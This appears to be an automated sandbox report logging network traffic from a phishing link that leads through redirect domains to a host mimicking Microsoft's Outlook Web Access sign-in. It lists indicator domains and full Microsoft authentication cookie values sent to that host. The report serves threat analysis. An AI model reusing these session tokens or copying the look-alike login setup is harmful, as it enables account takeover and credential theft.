esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /?auth=2 HTTP/1.1 Host: www.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?auth=2 HTTP/1.1 Host: www.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OH.DCAffinity=OH-eus; .AspNetCore.OpenIdConnect.Nonce.0erhVa5XVPcpT_A2Qv8HjOd5FMBgFJeabtLaLsbgj_ToPVs16bbsMFrZ0XaC-Fnhg_GeU6lwTHK5rnpPxX5pF-3sEypwnQbNJUcKDmnHtyB1wXl7h8iSz9x7TdgUmjce1Zk72Wiip73mX5ZzTf4YS1sMQ1LA3AMG0N_VYi16PbAq1CdtuJAM-QlDlv2jJpgM9S4FAOKY6mx924gI3TNXdMiWBddDEaMMashWMyRv9Za7FE5FUhgFXsKKGQHrWl0T=N; .AspNetCore.Correlation.DY1iLskBN4qeUvBJNTaT_7NPu_2clWzaD96gJWaZk2g=N; OH.FLID=9ca0aa88-0cb2-4974-b782-eda10d94fd24; .AspNetCore.OpenIdConnect.Nonce.uBqCHfptjaWhqMte5F400E77sykRbxMV2hBe6ADqWlZVLyeJT4VFoFoSiVWvtaTSyLLq5QH69_YVYtR9YosB2vNlFoIqr1nxBtjl5coPBOhbZTUd5-Meg2ZBIWA8chzhIt2GSIWr1Ms5B_p2pfBD8g9iu9v2hoETwq1Q17PM-GV2tO0IZCqgN1dwA-DBmlUWpiTvRHreKkulEqzgDHXC13nz9qSIErRZv-J39-Qchlt5V8RMwgHHvi1s1B1GY9zx=N; .AspNetCore.Correlation.dWRmmb8VBiscb9fNDtNzAzir9JMlb5r9avccfZqR_4Q=N; MUID=3FCE15A61B42690F0B1801DE1AD668C6
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_il6fx5t9s506cdxfu3ywpg2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_8e14dcf0e3ff5580d170.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_ea3e62a2bdfb2b2ee8c8.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: url.us.m.mimecastprotect.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: url2.mailanyone.net
Source: global traffic	DNS traffic detected: DNS query: public-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: greefrunners.co.za
Source: global traffic	DNS traffic detected: DNS query: hdbfhja.store
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ihvnbhbvhbasdjbhjvbfh.site
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2931 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 1937d72d0ae2e27 sec-ch-ua-platform: "Windows" Accept: */* Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Date: Tue, 07 May 2024 18:31:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: a96ce8a6-ce25-4e83-8c08-870d2f793100 x-ms-ests-server: 2.1.17968.10 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Tue, 07 May 2024 18:31:44 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: chromecache_105.2.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_100.2.dr, chromecache_104.2.dr, chromecache_88.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_88.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_100.2.dr, chromecache_104.2.dr, chromecache_88.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_100.2.dr, chromecache_104.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_88.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_84.2.dr, chromecache_85.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_84.2.dr, chromecache_85.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
